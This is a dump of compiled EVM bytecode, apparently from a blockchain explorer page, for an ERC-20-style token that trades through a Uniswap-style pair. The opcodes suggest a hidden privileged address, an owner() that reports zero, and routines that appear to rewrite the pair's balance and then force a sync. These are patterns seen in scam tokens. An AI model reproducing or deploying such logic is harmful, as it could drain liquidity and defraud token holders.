7d93f206040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129d79190614264565b6129f35760405162461bcd60e51b81526004016107ff9061427f565b8115612ac657435f908152600360205260408120549003612ac65761271060185483612a1f919061413b565b612a299190614166565b831115612a34575060015b601954612a41483a614101565b10612a7e576127106018546005612a58919061413b565b612a62908461413b565b612a6c9190614166565b8311612a78575f612a7b565b60015b90505b612a8661195e565b8311612a925782612a9a565b612a9a61195e565b435f90815260036020526040812060019055909350612ab88461197a565b9050612ac48183612c60565b505b601254421115612b0057601154612ae39063ffffffff1642614128565b601255600f54612afe906002906001600160801b03166142f0565b505b60165415612b0e575f612b11565b60015b60ff16601655505050565b5f805f805f612b2a8661352a565b90925090505f612b386114df565b9050612b4587838361355d565b919750955093505091939590929450565b81601554612b649190614101565b601555601454612b75908290614128565b6014555050565b604080515f808252602082019092526001600160a01b038416908390604051612ba59190614315565b5f6040518083038185875af1925050503d805f8114612bdf576040519150601f19603f3d011682016040523d82523d5f602084013e612be4565b606091505b5050905080611a985760405162461bcd60e51b815260206004820152603460248201527f5472616e7366657248656c7065723a3a736166655472616e736665724554483a60448201527308115512081d1c985b9cd9995c8819985a5b195960621b60648201526084016107ff565b6060611a1f84845f85613596565b600b5460408051630dfe168160e01b8152905130926001600160a01b031691630dfe16819160048083019260209291908290030181865afa158015612ca7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612ccb9190614179565b6001600160a01b0316816001600160a01b031603612ced57612ced8383613638565b600b5f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d3d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612d619190614179565b6001600160a01b0316816001600160a01b03161461322757811561322757600b546001600160a01b039081165f8181526001602052604080822054600c54909416825281205491606490612db49061121a565b612dbe9190614166565b612dc990603161413b565b90505f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015612e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612e4191906141aa565b506001600160701b031691506001600160701b031691505f612e64848385611a9d565b600b546001600160a01b03165f90815260016020526040902054909150612e8d90606490614166565b612e9890603161413b565b600b546001600160a01b03165f90815260016020526040902054612ebc9190614128565b600b80546001600160a01b039081165f908152600160209081526040808320959095559254600a5485518381529485019586905263022c0d9f60e01b90955282169363022c0d9f93612f16938793921690602481016141f6565b5f604051808303815f87803b158015612f2d575f80fd5b505af1158015612f3f573d5f803e3d5ffd5b5050600a546040516370a0823160e01b81526001600160a01b0390911660048201525f92505f8051602061433183398151915291506370a0823190602401602060405180830381865afa158015612f98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fbc91906142bc565b90505f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015613010573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061303491906141aa565b506001600160701b031691506001600160701b031691505f613057848484611a9d565b600a54600b546040516310e2489760e11b81525f8051602061433183398151915260048201526001600160a01b0391821660248201526044810188905292935016906321c4912e906064015f604051808303815f87803b1580156130b9575f80fd5b505af11580156130cb573d5f803e3d5ffd5b5050600b54600c54604080515f808252602082019283905263022c0d9f60e01b9092526001600160a01b03938416955063022c0d9f945061311593919287921690602481016141f6565b5f604051808303815f87803b15801561312c575f80fd5b505af115801561313e573d5f803e3d5ffd5b505050508960015f600b5f9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020015f20819055508860015f600c5f9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020015f2081905550600b5f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015613206575f80fd5b505af1158015613218573d5f803e3d5ffd5b50505050505050505050505050505b60165415611a985760055460ff16801561324057505f83115b15611a98576005805460ff19169055600b5460408051630240bc6b60e21b815290515f9283926001600160a01b0390911691630902f1ac916004808201926060929091908290030181865afa15801561329b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906132bf91906141aa565b506001600160701b031691506001600160701b031691505f6132e2868385611a9d565b600c5490915086906132fc906001600160a01b031661121a565b600c546001600160a01b03165f908152600160205260409020546133209190614166565b61332a919061413b565b600b546001600160a01b03165f9081526001602052604081208054909190613353908490614128565b9091555050600c54869061336f906001600160a01b031661121a565b600c546001600160a01b03165f908152600160205260409020546133939190614166565b61339d919061413b565b600c546001600160a01b03165f90815260016020526040812080549091906133c6908490614101565b9091555050600b54600d54604080515f808252602082019283905263022c0d9f60e01b9092526001600160a01b039384169363022c0d9f93613413938793909290911690602481016141f6565b5f604051808303815f87803b15801561342a575f80fd5b505af115801561343c573d5f803e3d5ffd5b5050600d546040516370a0823160e01b81526001600160a01b0390911660048201525f92505f8051602061433183398151915291506370a0823190602401602060405180830381865afa158015613495573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906134b991906142bc565b111561352257600d5f9054906101000a90046001600160a01b03166001600160a01b0316637fec8d386040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561350b575f80fd5b505af115801561351d573d5f803e3d5ffd5b505050505b505050505050565b5f80806103e861353b85600561413b565b6135459190614166565b90505f6135528286614101565b959194509092505050565b5f80808061356b858861413b565b90505f613578868861413b565b90505f6135858284614101565b929992985090965090945050505050565b6060824710156135cd5760405162461bcd60e51b815260206004820152600260248201526134b760f11b60448201526064016107ff565b5f80866001600160a01b031685876040516135e89190614315565b5f6040518083038185875af1925050503d805f8114613622576040519150601f19603f3d011682016040523d82523d5f602084013e613627565b606091505b5091509150611ade87838387613de5565b8015613ae357600b546001600160a01b039081165f8181526001602052604080822054600c549094168252812054916064906136739061121a565b61367d9190614166565b61368890603161413b565b90505f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156136dc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061370091906141aa565b506001600160701b031691506001600160701b031691505f613723848484611a9d565b600b546001600160a01b03165f9081526001602052604090205490915061374c90606490614166565b61375790603161413b565b600b546001600160a01b03165f9081526001602052604090205461377b9190614128565b600b80546001600160a01b039081165f908152600160209081526040808320959095559254600a5485518381529485019586905263022c0d9f60e01b90955282169363022c0d9f936137d49387921690602481016141f6565b5f604051808303815f87803b1580156137eb575f80fd5b505af11580156137fd573d5f803e3d5ffd5b5050600a546040516370a0823160e01b81526001600160a01b0390911660048201525f92505f8051602061433183398151915291506370a0823190602401602060405180830381865afa158015613856573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061387a91906142bc565b90505f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156138ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906138f291906141aa565b506001600160701b031691506001600160701b031691505f613915848385611a9d565b600a54600b546040516310e2489760e11b81525f8051602061433183398151915260048201526001600160a01b0391821660248201526044810188905292935016906321c4912e906064015f604051808303815f87803b158015613977575f80fd5b505af1158015613989573d5f803e3d5ffd5b5050600b54600c54604080515f808252602082019283905263022c0d9f60e01b9092526001600160a01b03938416955063022c0d9f94506139d19387931690602481016141f6565b5f604051808303815f87803b1580156139e8575f80fd5b505af11580156139fa573d5f803e3d5ffd5b505050508960015f600b5f9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020015f20819055508860015f600c5f9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020015f2081905550600b5f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015613ac2575f80fd5b505af1158015613ad4573d5f803e3d5ffd5b50505050505050505050505050505b60165415613de15760055460ff168015613afc57505f82115b15613de1576005805460ff19169055600b5460408051630240bc6b60e21b815290515f9283926001600160a01b0390911691630902f1ac916004808201926060929091908290030181865afa158015613b57573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613b7b91906141aa565b506001600160701b031691506001600160701b031691505f613b9e858484611a9d565b600c549091508590613bb8906001600160a01b031661121a565b600c546001600160a01b03165f90815260016020526040902054613bdc9190614166565b613be6919061413b565b600b546001600160a01b03165f9081526001602052604081208054909190613c0f908490614128565b9091555050600c548590613c2b906001600160a01b031661121a565b600c546001600160a01b03165f90815260016020526040902054613c4f9190614166565b613c59919061413b565b600c546001600160a01b03165f9081526001602052604081208054909190613c82908490614101565b9091555050600b54600d54604080515f808252602082019283905263022c0d9f60e01b9092526001600160a01b039384169363022c0d9f93613cce9392879290911690602481016141f6565b5f604051808303815f87803b158015613ce5575f80fd5b505af1158015613cf7573d5f803e3d5ffd5b5050600d546040516370a0823160e01b81526001600160a01b0390911660048201525f92505f8051602061433183398151915291506370a0823190602401602060405180830381865afa158015613d50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613d7491906142bc565b1115613ddd57600d5f9054906101000a90046001600160a01b03166001600160a01b0316637fec8d386040518163ffffffff1660e01b81526004015f604051808303815f87803b158015613dc6575f80fd5b505af1158015613dd8573d5f803e3d5ffd5b505050505b5050505b5050565b60608315613e385782515f03613e31576001600160a01b0385163b613e315760405162461bcd60e51b8152602060048201526002602482015261636160f01b60448201526064016107ff565b5081611a1f565b611a1f8383815115613e4d5781518083602001fd5b8060405162461bcd60e51b81526004016107ff9190613eb4565b5f5b83811015613e81578181015183820152602001613e69565b50505f910152565b5f8151808452613ea0816020860160208601613e67565b601f01601f19169290920160200192915050565b602081525f610e236020830184613e89565b6001600160a01b0381168114613eda575f80fd5b50565b8035613ee881613ec6565b919050565b5f8060408385031215613efe575f80fd5b8235613f0981613ec6565b946020939093013593505050565b5f60208284031215613f27575f80fd5b5035919050565b5f805f60608486031215613f40575f80fd5b8335613f4b81613ec6565b92506020840135613f5b81613ec6565b929592945050506040919091013590565b5f60208284031215613f7c575f80fd5b8135610e2381613ec6565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215613fac575f80fd5b823567ffffffffffffffff80821115613fc3575f80fd5b818501915085601f830112613fd6575f80fd5b813581811115613fe857613fe8613f87565b8060051b604051601f19603f8301168101818110858211171561400d5761400d613f87565b60405291825284820192508381018501918883111561402a575f80fd5b938501935b8285101561404f5761404085613edd565b8452938501939285019261402f565b98975050505050505050565b8015158114613eda575f80fd5b5f8060408385031215614079575f80fd5b823561408481613ec6565b915060208301356140948161405b565b809150509250929050565b5f80604083850312156140b0575f80fd5b82356140bb81613ec6565b9150602083013561409481613ec6565b6020808252600890820152673737ba1037b832b760c11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610e0757610e076140ed565b634e487b7160e01b5f52603260045260245ffd5b80820180821115610e0757610e076140ed565b8082028115828204841417610e0757610e076140ed565b634e487b7160e01b5f52601260045260245ffd5b5f8261417457614174614152565b500490565b5f60208284031215614189575f80fd5b8151610e2381613ec6565b80516001600160701b0381168114613ee8575f80fd5b5f805f606084860312156141bc575f80fd5b6141c584614194565b92506141d360208501614194565b9150604084015163ffffffff811681146141eb575f80fd5b809150509250925092565b84815283602082015260018060a01b0383166040820152608060608201525f6142226080830184613e89565b9695505050505050565b600181811c9082168061424057607f821691505b60208210810361425e57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215614274575f80fd5b8151610e238161405b565b6020808252600890820152671898590818d85b1b60c21b604082015260600190565b6020808252600190820152600360fc1b604082015260600190565b5f602082840312156142cc575f80fd5b5051919050565b602080825260039082015262185b5d60ea1b604082015260600190565b5f6001600160801b038084168061430957614309614152565b92169190910492915050565b5f8251614326818460208701613e67565b919091019291505056fe000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220e09ca4da9d6fb41d81cc14afd130811df0b484588d81e6dd96fa4422c9a0238064736f6c63430008170033

Deployed Bytecode

0x608060405260043610610236575f3560e01c806394b4377a11610129578063c0406226116100a8578063f25b3f991161006d578063f25b3f991461071a578063f2b9aa1114610745578063f2c7fb0514610773578063f9711ce414610787578063fc7b6aee146107a6575f80fd5b8063c04062261461066a578063c1c9e4d114610689578063c9567bf91461069e578063da85728d146106b7578063dd62ed3e146106d6575f80fd5b8063a82ed9ec116100ee578063a82ed9ec146105db578063a9059cbb14610602578063ad5c464814610621578063b902e1cd14610641578063bee693d214610655575f80fd5b806394b4377a1461054c57806394e107841461056b57806395d89b411461057f57806397a9d56014610593578063a457c2d7146105bc575f80fd5b806334fcf437116101b557806370a082311161017a57806370a08231146104b6578063722cc18b146104d5578063729ad39e146104ea5780637e6335f4146105095780638da5cb5b1461053a575f80fd5b806334fcf4371461042b578063395093511461044a57806349bd5a5e1461046957806361004f3914610488578063705b2cd61461049d575f80fd5b8063209e786f116101fb578063209e786f1461038657806323b872dd146103a55780632c4e722e146103c457806330ea6560146103d9578063313ce56714610410575f80fd5b806306fdde03146102c4578063095ea7b3146102ee57806314b15eb61461031d57806318160ddd14610354578063200d2ed214610372575f80fd5b366102c057601054156102be57335f80516020614331833981519152146102be575f805160206143318339815191526001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561029d575f80fd5b505af11580156102af573d5f803e3d5ffd5b50505050506102be34336107c5565b005b5f80fd5b3480156102cf575f80fd5b506102d8610d67565b6040516102e59190613eb4565b60405180910390f35b3480156102f9575f80fd5b5061030d610308366004613eed565b610df7565b60405190151581526020016102e5565b348015610328575f80fd5b50600f5461033c906001600160801b031681565b6040516001600160801b0390911681526020016102e5565b34801561035f575f80fd5b506013545b6040519081526020016102e5565b34801561037d575f80fd5b506103645f5481565b348015610391575f80fd5b506103646103a0366004613f17565b610e0d565b3480156103b0575f80fd5b5061030d6103bf366004613f2e565b610e2a565b3480156103cf575f80fd5b5061036460185481565b3480156103e4575f80fd5b50600c546103f8906001600160a01b031681565b6040516001600160a01b0390911681526020016102e5565b34801561041b575f80fd5b50604051601281526020016102e5565b348015610436575f80fd5b506102be610445366004613f17565b611168565b348015610455575f80fd5b5061030d610464366004613eed565b6111e4565b348015610474575f80fd5b50600b546103f8906001600160a01b031681565b348015610493575f80fd5b5061036460105481565b3480156104a8575f80fd5b5060055461030d9060ff1681565b3480156104c1575f80fd5b506103646104d0366004613f6c565b61121a565b3480156104e0575f80fd5b50610364601a5481565b3480156104f5575f80fd5b506102be610504366004613f9b565b61123b565b348015610514575f80fd5b506011546105259063ffffffff1681565b60405163ffffffff90911681526020016102e5565b348015610545575f80fd5b505f6103f8565b348015610557575f80fd5b506102be610566366004614068565b61149f565b348015610576575f80fd5b506103646114df565b34801561058a575f80fd5b506102d8611500565b34801561059e575f80fd5b506105a761150f565b604080519283526020830191909152016102e5565b3480156105c7575f80fd5b5061030d6105d6366004613eed565b611543565b3480156105e6575f80fd5b506103f8737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561060d575f80fd5b5061030d61061c366004613eed565b6115dd565b34801561062c575f80fd5b506103f85f8051602061433183398151915281565b34801561064c575f80fd5b506102be6118ba565b348015610660575f80fd5b5061036460125481565b348015610675575f80fd5b506009546103f8906001600160a01b031681565b348015610694575f80fd5b5061036460195481565b3480156106a9575f80fd5b50601b5461030d9060ff1681565b3480156106c2575f80fd5b506102be6106d1366004613f17565b6118df565b3480156106e1575f80fd5b506103646106f036600461409f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610725575f80fd5b50610364610734366004613f17565b60036020525f908152604090205481565b348015610750575f80fd5b5061030d61075f366004613f6c565b60046020525f908152604090205460ff1681565b34801561077e575f80fd5b5061036461195e565b348015610792575f80fd5b506103646107a1366004613f17565b61197a565b3480156107b1575f80fd5b506103646107c0366004613f17565b611a27565b5f546001146108085760405162461bcd60e51b81526004016107ff906020808252600490820152631c995b9d60e21b604082015260600190565b60405180910390fd5b5f8055601b5460ff1661084c576001600160a01b0381165f9081526004602052604090205460ff1661084c5760405162461bcd60e51b81526004016107ff906140cb565b600b545f90610863906001600160a01b031661121a565b90505f6002601780549050116108a1576017805461088390600190614101565b8154811061089357610893614114565b905f5260205f2001546108cb565b601780546108b190600290614101565b815481106108c1576108c1614114565b905f5260205f2001545b90505f60105461012c6108de9190614128565b42106108eb57600a6108ee565b601e5b60ff16905060646108ff828461413b565b6109099190614166565b6109139083614128565b8310801561093f57506064610928828461413b565b6109329190614166565b61093c9083614101565b83115b6109785760405162461bcd60e51b815260206004820152600a602482015269383937ba32b1ba34b7b760b11b60448201526064016107ff565b600b5461099d905f80516020614331833981519152906001600160a01b031687611a46565b6005805460ff19166001179055600b5460408051630dfe168160e01b815290516001600160a01b0390921691630dfe1681916004808201926020929091908290030181865afa1580156109f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a169190614179565b6001600160a01b03163003610b34575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610a77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9b91906141aa565b506001600160701b031691506001600160701b031691505f610abe888385611a9d565b600b54604080515f808252602082019283905263022c0d9f60e01b9092529293506001600160a01b039091169163022c0d9f91610b03918591908c90602481016141f6565b5f604051808303815f87803b158015610b1a575f80fd5b505af1158015610b2c573d5f803e3d5ffd5b505050505050505b600b5f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b84573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ba89190614179565b6001600160a01b0316306001600160a01b031614610cce575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610c12573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c3691906141aa565b506001600160701b031691506001600160701b031691505f610c59888484611a9d565b600b54604080515f808252602082019283905263022c0d9f60e01b9092529293506001600160a01b039091169163022c0d9f91610c9d9185908c90602481016141f6565b5f604051808303815f87803b158015610cb4575f80fd5b505af1158015610cc6573d5f803e3d5ffd5b505050505050505b600b545f90610ce5906001600160a01b031661121a565b1115610d5c57600b54610d00906001600160a01b031661121a565b60178054610d1090600190614101565b81548110610d2057610d20614114565b905f5260205f20015414610d5c57600b54601790610d46906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b505060015f55505050565b6060601c8054610d769061422c565b80601f0160208091040260200160405190810160405280929190818152602001828054610da29061422c565b8015610ded5780601f10610dc457610100808354040283529160200191610ded565b820191905f5260205f20905b815481529060010190602001808311610dd057829003601f168201915b5050505050905090565b5f610e03338484611ae9565b5060015b92915050565b5f80610e176114df565b9050610e238184614166565b9392505050565b600a54604080516306bec9f960e51b815290515f926001600160a01b03169163d7d93f209160048083019260209291908290030181865afa158015610e71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e959190614264565b610eb15760405162461bcd60e51b81526004016107ff9061427f565b601b5460ff16610f14576001600160a01b0384165f9081526004602052604090205460ff1680610ef857506001600160a01b0383165f9081526004602052604090205460ff165b610f145760405162461bcd60e51b81526004016107ff906140cb565b6001600160a01b03841615801590610f3457506001600160a01b03831615155b610f505760405162461bcd60e51b81526004016107ff906142a1565b826001600160a01b0316846001600160a01b031603610f965760405162461bcd60e51b81526020600482015260026024820152616e6f60f01b60448201526064016107ff565b81610fa08561121a565b1015610fd75760405162461bcd60e51b81526004016107ff9060208082526004908201526362616c6160e01b604082015260600190565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156110345760405162461bcd60e51b81526020600482015260076024820152666578636565647360c81b60448201526064016107ff565b61104885336110438685614101565b611ae9565b6001600160a01b0385165f9081526004602052604090205460ff168061108557506001600160a01b0384165f9081526004602052604090205460ff165b1561109a57611095858585611b49565b600191505b6001600160a01b0385165f9081526004602052604090205460ff161580156110da57506001600160a01b0384165f9081526004602052604090205460ff16155b1561116057600b546001600160a01b03908116908516036110ff576110ff8584611bff565b600b546001600160a01b039081169086160361111f5761111f8484611da0565b600b546001600160a01b0385811691161480159061114b5750600b546001600160a01b03868116911614155b1561115b5761115b858585611f3e565b600191505b509392505050565b600e546001600160a01b031633146111aa5760405162461bcd60e51b815260206004820152600560248201526430b236b4b760d91b60448201526064016107ff565b60048110156111df5760405162461bcd60e51b81526020600482015260016024820152600d60fa1b60448201526064016107ff565b601855565b335f8181526002602090815260408083206001600160a01b03871684529091528120549091610e03918590611043908690614128565b6001600160a01b0381165f90815260016020526040812054610e0790610e0d565b600e546001600160a01b0316331480156112585750601b5460ff16155b6112895760405162461bcd60e51b81526020600482015260026024820152616e6f60f01b60448201526064016107ff565b80515f8080805b848110156114695760095486516001600160a01b03909116906370a08231908890849081106112c1576112c1614114565b60200260200101516040518263ffffffff1660e01b81526004016112f491906001600160a01b0391909116815260200190565b602060405180830381865afa15801561130f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133391906142bc565b935060095f9054906101000a90046001600160a01b03166001600160a01b03166394e107846040518163ffffffff1660e01b8152600401602060405180830381865afa158015611385573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a991906142bc565b6113b3908561413b565b92508260015f8884815181106113cb576113cb614114565b6020908102919091018101516001600160a01b031682528101919091526040015f20556113f88383614128565b915085818151811061140c5761140c614114565b60200260200101516001600160a01b0316600e5f9054906101000a90046001600160a01b03166001600160a01b03165f805160206143518339815191528660405161145991815260200190565b60405180910390a3600101611290565b50600e546001600160a01b03165f9081526001602052604081208054839290611493908490614101565b90915550505050505050565b600e546001600160a01b031633146114b5575f80fd5b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f805f6114ea61150f565b90925090506114f98183614166565b9250505090565b6060601d8054610d769061422c565b6015546013545f9182916115238183614166565b82101561153a576015546013549350935050509091565b90939092509050565b335f9081526002602090815260408083206001600160a01b0386168452909152812054828110156115c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107ff565b6115d333856110438685614101565b5060019392505050565b600a54604080516306bec9f960e51b815290515f926001600160a01b03169163d7d93f209160048083019260209291908290030181865afa158015611624573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116489190614264565b6116645760405162461bcd60e51b81526004016107ff9061427f565b601b5460ff166116be57335f9081526004602052604090205460ff16806116a257506001600160a01b0383165f9081526004602052604090205460ff165b6116be5760405162461bcd60e51b81526004016107ff906140cb565b336116db5760405162461bcd60e51b81526004016107ff906142a1565b6001600160a01b0383166117015760405162461bcd60e51b81526004016107ff906142a1565b6001600160a01b038316330361173e5760405162461bcd60e51b8152602060048201526002602482015261737360f01b60448201526064016107ff565b816117483361121a565b101561177c5760405162461bcd60e51b815260206004820152600360248201526218985b60ea1b60448201526064016107ff565b306001600160a01b0384160361179a5761179633836120e4565b5060015b6001600160a01b0383163014610e0757335f9081526004602052604090205460ff16806117de57506001600160a01b0383165f9081526004602052604090205460ff165b156117f2576117ee338484611b49565b5060015b335f9081526004602052604090205460ff1615801561182957506001600160a01b0383165f9081526004602052604090205460ff16155b15610e0757600b546001600160a01b0316330361184a5761184a8383611da0565b600b546001600160a01b0384811691161480156118725750600b546001600160a01b03163314155b156118815761188133836120e4565b600b546001600160a01b038481169116148015906118aa5750600b546001600160a01b03163314155b15610e0357610e03338484611f3e565b600e546001600160a01b031633146118d0575f80fd5b601b805460ff19166001179055565b600e546001600160a01b031633146119215760405162461bcd60e51b815260206004820152600560248201526430b236b4b760d91b60448201526064016107ff565b63ee6b28008110156119595760405162461bcd60e51b81526020600482015260016024820152600d60fa1b60448201526064016107ff565b601955565b600c545f90611975906001600160a01b031661121a565b905090565b5f805f670de0b6b3a764000061198e61195e565b10610e2357600f546001600160801b03166119ac620f424086614166565b6119b6919061413b565b600b549092506064906119d1906001600160a01b031661121a565b6119dc90600161413b565b6119e69190614166565b82116119f25781611a1f565b600b54606490611a0a906001600160a01b031661121a565b611a1590600161413b565b611a1f9190614166565b949350505050565b60178181548110611a36575f80fd5b5f91825260209091200154905081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611a989084906128b1565b505050565b5f80611aab856103e561413b565b90505f611ab8848361413b565b90505f82611ac8876103e861413b565b611ad29190614128565b9050611ade8183614166565b979650505050505050565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f611b526114df565b611b5c908361413b565b6001600160a01b0385165f90815260016020526040902054909150611b82908290614101565b6001600160a01b038086165f908152600160205260408082209390935590851681522054611bb1908290614128565b6001600160a01b038085165f8181526001602052604090819020939093559151908616905f8051602061435183398151915290611bf19086815260200190565b60405180910390a350505050565b5f611c098361121a565b905081811015611c2b5760405162461bcd60e51b81526004016107ff906142d3565b611c3482612949565b5f805f805f611c4287612b1c565b6001600160a01b038d165f9081526001602052604090205494995092975090955093509150611c72908690614101565b6001600160a01b03808a165f9081526001602052604080822093909355600b5490911681522054611ca4908590614128565b600b546001600160a01b03165f90815260016020526040902055611cc88382612b56565b600b545f90611cdf906001600160a01b031661121a565b1115611d5657600b54611cfa906001600160a01b031661121a565b60178054611d0a90600190614101565b81548110611d1a57611d1a614114565b905f5260205f20015414611d5657600b54601790611d40906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b611d60483a614101565b601a55600b546040518381526001600160a01b03918216918a16905f80516020614351833981519152906020015b60405180910390a35050505050505050565b600b548190611db7906001600160a01b031661121a565b1015611dd55760405162461bcd60e51b81526004016107ff906142d3565b6005805460ff191660011790555f80808080611df086612b1c565b600b546001600160a01b03165f9081526001602052604090205494995092975090955093509150611e22908690614101565b600b546001600160a01b039081165f908152600160205260408082209390935590891681522054611e54908590614128565b6001600160a01b0388165f90815260016020526040902055611e768382612b56565b600b545f90611e8d906001600160a01b031661121a565b1115611f0457600b54611ea8906001600160a01b031661121a565b60178054611eb890600190614101565b81548110611ec857611ec8614114565b905f5260205f20015414611f0457600b54601790611eee906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b600b546040518381526001600160a01b038981169216905f805160206143518339815191529060200160405180910390a350505050505050565b80611f488461121a565b1015611f805760405162461bcd60e51b81526020600482015260076024820152666578636565647360c81b60448201526064016107ff565b816001600160a01b0316836001600160a01b031603611fca5760405162461bcd60e51b81526004016107ff9060208082526004908201526373616d6560e01b604082015260600190565b6001600160a01b038316611ff05760405162461bcd60e51b81526004016107ff906142a1565b6001600160a01b0382166120165760405162461bcd60e51b81526004016107ff906142a1565b5f60165561202381612949565b5f805f805f61203186612b1c565b6001600160a01b038d165f9081526001602052604090205494995092975090955093509150612061908690614101565b6001600160a01b03808a165f908152600160205260408082209390935590891681522054612090908590614128565b6001600160a01b0388165f908152600160205260409020556120b28382612b56565b866001600160a01b0316886001600160a01b03165f8051602061435183398151915284604051611d8e91815260200190565b5f5460011461211e5760405162461bcd60e51b81526004016107ff906020808252600490820152631c995b9d60e21b604082015260600190565b5f80805561212b8361121a565b90508181101561214d5760405162461bcd60e51b81526004016107ff906142d3565b600b545f90612164906001600160a01b031661121a565b90505f6002601780549050116121a2576017805461218490600190614101565b8154811061219457612194614114565b905f5260205f2001546121cc565b601780546121b290600290614101565b815481106121c2576121c2614114565b905f5260205f2001545b905060646121db82600a61413b565b6121e59190614166565b6121ef9082614128565b8210801561221c5750606461220582600a61413b565b61220f9190614166565b6122199082614101565b82115b6122555760405162461bcd60e51b815260206004820152600a602482015269383937ba32b1ba34b7b760b11b60448201526064016107ff565b61225e84612949565b5f805f805f61226c89612b1c565b6001600160a01b038f165f908152600160205260409020549499509297509095509350915061229c908690614101565b6001600160a01b03808c165f9081526001602052604080822093909355600b54909116815220546122ce908590614128565b600b546001600160a01b03165f908152600160205260409020556122f28382612b56565b6005805460ff19169055600b5460408051630dfe168160e01b815290518c926001600160a01b031691630dfe16819160048083019260209291908290030181865afa158015612343573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123679190614179565b6001600160a01b03163003612488575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156123c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123ec91906141aa565b506001600160701b031691506001600160701b031691505f61240f868484611a9d565b600b54600a54604080515f808252602082019283905263022c0d9f60e01b9092529394506001600160a01b039283169363022c0d9f93612457938792911690602481016141f6565b5f604051808303815f87803b15801561246e575f80fd5b505af1158015612480573d5f803e3d5ffd5b505050505050505b600b5f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124fc9190614179565b6001600160a01b0316306001600160a01b031614612627575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015612566573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061258a91906141aa565b506001600160701b031691506001600160701b031691505f6125ad868385611a9d565b600b54600a54604080515f808252602082019283905263022c0d9f60e01b9092529394506001600160a01b039283169363022c0d9f936125f693879392911690602481016141f6565b5f604051808303815f87803b15801561260d575f80fd5b505af115801561261f573d5f803e3d5ffd5b505050505050505b600a546040516370a0823160e01b81526001600160a01b0390911660048201819052906321c4912e905f8051602061433183398151915290309082906370a0823190602401602060405180830381865afa1580156